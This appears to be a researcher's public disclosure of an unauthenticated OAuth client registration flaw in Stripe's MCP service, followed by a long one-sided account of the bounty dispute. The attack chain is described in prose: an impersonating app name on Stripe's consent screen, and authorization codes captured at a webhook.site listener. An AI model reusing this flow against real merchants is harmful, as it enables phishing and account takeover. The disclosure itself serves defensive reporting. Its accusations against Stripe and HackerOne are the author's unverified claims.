Stripe access.stripe.com
Unauthenticated MCP OAuth Client Registration

Stripe's Model Context Protocol (MCP) infrastructure — their AI-agent integration layer — included a Dynamic Client Registration endpoint at https://access.stripe.com/mcp/oauth2/register that required no authentication. Any unauthenticated HTTP POST returned a functional OAuth client_id with the mcp scope granted immediately. No API key. No developer verification. token_endpoint_auth_method: none.

The mcp scope grants access to the Stripe MCP Server toolset — an AI agent execution environment with direct API access to Treasury outbound transfers, Issuing (virtual card creation), Connect sub-merchant administration, and persistent Webhook registration. Obtaining a token with this scope means full administrative control over a merchant's financial infrastructure with no further authentication required.

Critically, the attack required no insider access. The victim merchant sees a standard OAuth authorization prompt served entirely from access.stripe.com — Stripe's own domain — displaying the attacker's chosen application name (e.g., "Stripe_Official_Integration_Update"). The attacker controls the name shown. The victim has no way to distinguish it from a legitimate Stripe integration.

CVSS is the researcher's own assessment. Stripe did not formally score the report.

The following four screenshots document the complete attack chain. All testing was performed in a sandbox environment using the researcher's own accounts only, in accordance with Stripe's bug bounty rules of engagement.

Step 1 — Unauthenticated Registration & Successful Response

Left: Terminal — curl POST to the unauthenticated endpoint, JSON response confirming client_id: oacli_UAwaFgvBJm1lTM, scope: mcp, token_endpoint_auth_method: none. Right: Researcher's own Stripe sandbox dashboard open — confirming real account context. Bottom: webhook.site receiver awaiting the exfiltrated code.

Step 2 — Authorization URL Construction

Authorization URL constructed with the registered client_id and scope=mcp. Note: researcher annotation acknowledges a test error — this is the unedited original PoC documentation submitted to HackerOne.

Step 3 — Official Stripe UI Serving Attacker-Controlled Client

The impersonation proof. The official access.stripe.com domain serves an authorization prompt for "Stripe_Official_Integration_Update would like access to your Stripe account." The application name was chosen by the attacker with zero vetting. Merchant has no way to distinguish this from a legitimate Stripe integration. Authorize button present and functional. Note: sandbox restricts full write permissions — a live merchant account would grant full MCP scope.

Step 4 — Authorization Code Exfiltrated to Attacker Listener

After clicking Authorize, the browser redirects to the attacker-controlled webhook.site URL. The authorization code is captured in the query string (visible in the Request Details panel). Timestamp: 03/19/2026 5:25 PM. This code can be exchanged for an administrative MCP token valid for any merchant account that completes this flow. "ABLE TO GENERATE THIS CODE FOR ANY ACCOUNT THAT CLICKS THE AUTHORISED LINK."

Full Submitted Report — HackerOne #3619019

The full report as submitted to HackerOne — Title, CVSS 10.0, summary, four-vector impact analysis, and steps to reproduce. Submitted 20 March 2026 at 23:06 UTC. This is the document that received a single automated "Duplicate" response three days later.

A full screen-recorded walkthrough of the complete attack chain was submitted with the report as reportOauth_POC-2026-03-19_17_08_09.mkv. The filename timestamp — 19 March 2026 — confirms the working PoC existed the day before submission was even possible, because HackerOne's channel was blocked.

Stripe Support Fix Confirmation — Agent Divine (21 March 2026, 10:56 PM AEST)

Email timestamped Saturday March 21st at 10:56 PM: "Our security team has confirmed that the issue is now fully resolved. We really appreciate you bringing this to our attention — it helps us keep everything running smoothly." Below: the full chat transcript with Stripe Support agent Jene on March 20 at 13:29 AEST, establishing Case ID sco_UBGGEEWlAeyXSv. This email predates Stripe's "Intended Behavior" claim by four days.

On 25 March 2026, Stripe Security classified the vulnerability as "Intended Behavior" to avoid paying the bounty. The following screenshot — timestamped 26 March 2026 — proves this claim is false.

redirect_uri — Before vs After Disclosure

Left side: the exact webhook.site redirect URI accepted without error during PoC testing (pre-disclosure). Right side (timestamp 2026-03-26): the same URI now returns error: invalid_redirect_uri — "Not registered redirect_uri". The redirect_uri validation was added or tightened specifically between disclosure and March 26. The browser tab in the upper right confirms the date.

Between discovery (15 March) and submission (20 March), Stripe's endpoint was live and exploitable. The five-day delay was not the researcher's choice. HackerOne's automated "trial report" system — triggered by a separate disputed reputation event — prevented any new Critical submissions.

Ticket #645235 — HackerOne Support Response

HackerOne Support response to Ticket #645235 — titled "URGENT: Critical ATO Vulnerability in Stripe — Submission Blocked by Platform Restriction." Response: trial reports are limited, no manual extension possible, wait for automatic reset. The researcher's message below explicitly describes a Critical CVSS 9.1+ vulnerability with full PoC ready — HackerOne treated it as a standard support request.

Ticket Auto-Closed — In Approx 1 Hour

Top: Ticket #645235 auto-closed at 12:49 AM as a "feature request" — despite the title explicitly stating Critical ATO vulnerability. Researcher replied immediately explaining the situation. By 1:59 AM — within one hour and 10 minutes, not the 72 hours stated — the reply address returned: "This email no longer accepts new requests." The support channel closed itself on an active Critical disclosure.

Direct Outreach to Stripe Security on X (Twitter)

With HackerOne's channel closed, the researcher located Stripe Security on X (Twitter) and disclosed the existence of a Critical unauthenticated endpoint — withholding the full PoC until a secure channel was established. This was the escalation that ultimately triggered the HackerOne bypass.

Stripe Security Confirms HackerOne Bypass Applied

Email from Sholihin Kamarudin (security@stripe.com): "We worked with HackerOne to remove the submission limitation on your account. They've applied a limiter bypass to your profile (reevesy_1), so you should be able to submit directly to our program now." This is the confirmation that Stripe — not HackerOne — forced the channel open.

Stripe Support Notified — Researcher Confirms Report Submitted

Researcher confirming to Stripe Support that report #3619019 was successfully submitted using the HackerOne bypass, with the full report ID and title provided for reference. Closes the escalation loop: X contact → bypass granted → report submitted → confirmed.

During the dispute period, the researcher used HackerOne's own AI support tool to escalate. The AI's responses independently assess the situation without coaching beyond a factual description of events.

Excerpts taken verbatim from the HackerOne AI support chat transcript, available in full upon request.

Comment Thread — Researcher Rebuttal on Report #3619019

First comment (21 Mar): Stripe Support case sco_UBGGEEWlAeyXSv cited as confirmation. Requesting Triaged status.

Second comment (21 Mar): Stripe Support (Parv) confirms escalation to specialised team. Still no HackerOne response. Report remains New/Open.

On 23 March, @h1_analyst_tan marked report #3619019 as a duplicate of #3597174 — submitted March 10, marked Informative, bounty paid: $0. The researcher raised the following arguments on the report. They remain unanswered.

Stripe Support Reply — Dispute Escalation Response

March 23, 2026, 8:39 PM: After HackerOne marked the report as duplicate of an 11-day-old Informative report, researcher contacted Stripe Support directly pointing out the timeline discrepancy (duplicate sat untriaged for 11 days, my report triggered Sunday fix in 12 hours). Jack from Stripe Support confirms they've escalated the concern to the internal team for investigation as a top priority and will provide updates.

Report #3619019 — Duplicate Metadata & "Working As Intended" Response

Metadata panel: Report #3619019 — Duplicate (Closed). Severity Critical (10.0). Duplicate of #3597174 — disposition: Informative. Duplicate severity: Critical (9.6). Bounty: None. @e-stripe's "working as intended" comment visible alongside the researcher's redirect_uri rebuttal. Note: the original report (#3597174) was itself Critical 9.6 — yet marked Informative with no bounty paid to that researcher either.

Researcher's Rebuttal Comment on Report (24 March 2026)

Researcher's comment requesting immediate management escalation: "If this was a known 'Critical' since March 10th, it is mathematically impossible that the endpoint remained unauthenticated and exploitable until my report forced the fix 11 days later." The rebuttal also notes the confirmed post-disclosure redirect_uri restriction as proof of remediation. This comment has not received a substantive response.

Hacktivity — $25,000 Bounty Paid Same Day as Denial (March 25, 2026)

Stripe hacktivity showing a $25,000 bounty paid to rcss, resolved around March 25, 2026 (timestamp: 09:40:18 AEST) — the same day this bounty was denied. No claim is made about that report's content or its author. The timing and amount are documented as observed facts for the record.

$25,000 Bounty — Hacktivity Appearance

Separate view of the $25,000 bounty appearing in the Stripe hacktivity feed. Documented for completeness — no claim is made about the content or legitimacy of the associated report.

Full Report + Hacktivity Context

Full report #3619019 view (Duplicate Closed, Severity Critical 10.0, Bounty None) alongside the Stripe hacktivity panel for the same period. Complete record transparency.

The following impact analysis was generated by an independent AI research tool in response to the question: "What would happen to Stripe if a hacker found a way to gain full access?" It is included to illustrate the scale of risk that an unpatched version of this vulnerability would represent at a systemic level, drawing on publicly available financial and regulatory data about Stripe. This is not the researcher's own claim — it is presented as external context only.

Independent AI Impact Assessment (Huntress, Truffle Security, Wire, OmnioCompliance sources)

Assessment covers: immediate operational chaos (financial fraud, system shutdown, data theft), financial and legal consequences (regulatory fines under GDPR up to 4% annual turnover, class action exposure), reputational damage (collapse of merchant trust, valuation impact), and global economic disruption. Sources cited: Huntress, Truffle Security Co., Wire, OmnioCompliance.

On 8 April 2026, a formal letter of demand was published. The following access log entry was recorded when the document was retrieved. Values are presented as observed in server logs.

Email Open Map — Geographic & Timestamp Record

Geographic and timestamp record of demand document access events.

The page has been instrumented with Canary tokens — transparent tracking pixels that log IP addresses and timestamps on access. The following logs capture ongoing access from IP addresses in the Stripe, Inc. AS5091 network block across multiple dates since publication.

Canary Token 1 — Access Log (ID: 116tctp1y216jf8fbkwlzfajj)

Alerts list showing 139.45.180.9 (AS5091 — Stripe, Inc., same network block as the April 8 legal demand access from 139.45.180.11) accessing the disclosure on April 14 at 1:33 PM and twice on April 17 at 5:57–5:58 PM. Geographic distribution confirms global reach — UK cluster (14 hits), Middle East (7), Southeast Asia (15). Map inset shows European concentration.

Canary Token 2 — Access Log (ID: czytqe7jmge5vo11iynol80m2)

Second token showing access from 121.123.120.246 across multiple sessions (April 18–21), 194.126.177.6 (April 18), and 66.249.84.101 (Google crawler, April 18). US west coast and UK/Europe clusters visible. Combined with Token 1, the logs confirm sustained, multi-session monitoring of this disclosure from multiple network sources including the Stripe AS5091 block.

Canary Token Access — May 2026 (Post-Mediation Filing)

Access logged on May 20, 2026 — the same day mediation was filed. IP 140.82.192.207. Additional access on May 19 at 8:13 PM (the day meta-report was closed), May 1, and multiple April dates. Geographic distribution: Oklahoma City, Dallas, Dublin, Zurich, Bengaluru, Kuala Lumpur. Canary token ID: 116tctp1y216jf8fbkwlzfajj.

Canary Token Access — Continued Monitoring (May 2026)

Second canary token (ID: czytqe7jmge5vo11iynol80m2) showing access from multiple IPs across May 19 (8:13 PM), May 1, and April 24-25. Pattern confirms sustained, multi-session monitoring of the disclosure from various geographic locations. The page is being actively watched — including on the day mediation was filed — even as the mediation request goes unanswered.

The HackerOne reporting restriction that forced the researcher to contact Stripe Security directly — delaying disclosure by five days while the vulnerability was live — was itself the result of a disputed reputation penalty on an unrelated program.

A vulnerability was reported to Meesho via HackerOne. Meesho marked it N/A (their decision, not HackerOne's). The researcher's IP was subsequently blocked from the Meesho site — consistent with silent remediation of the reported issue. The -5 reputation penalty remained active. All HackerOne mediation tickets were closed without review.

Meesho — Attempted Dispute Escalation

Documented attempts to dispute the Meesho N/A ruling that caused the -5 reputation penalty. All HackerOne mediation tickets closed without review. The penalty remained, directly triggering the submission block that delayed the Stripe disclosure by five days and left a CVSS 10.0 endpoint publicly exploitable during that period.

On 19 May 2026, the researcher submitted report #3743325 to HackerOne documenting the platform failure that delayed the Stripe OAuth disclosure by five days. The report focused on the platform security issue: submission restrictions preventing time-sensitive Critical disclosures from reaching security teams.

Report #3743325 — Submission & Immediate Closure

Report submitted, triaged, downgraded from High to Low (CVSS 2.3), and closed as Informative — all within 40 minutes. Analyst @h1_analyst_diablo's reasoning: "downstream impact on third-party vulnerability disclosure timelines is indirect and not part of HackerOne's system CIA assessment." In other words: HackerOne does not consider blocking Critical disclosures to other companies to be a security issue for their platform.

HackerOne's comment restriction policy: "Starting now, we will be disabling comments on closed, invalid reports. However, hackers with a signal above 3 and a reputation above 3000 will continue to be able to comment." The exact circular trap documented in the report.

A system that functions "as intended" and still creates a five-day disclosure gap on a Critical financial infrastructure vulnerability is a system with a design flaw, not a policy disagreement.

Support Ticket Response — The Circle Closes

Support response received ~1 hour later: "If you disagree with any report's decision, you can consider following up with the team in the report comments." They directed me back to the report they had just closed — which has comments disabled for researchers below 3000 reputation.

The Perfect Circle — Technical Flow

Neither the bug bounty triager nor the support agent acknowledged that comments are disabled, mediation is inaccessible, or that the circular dependency is the exact issue being reported.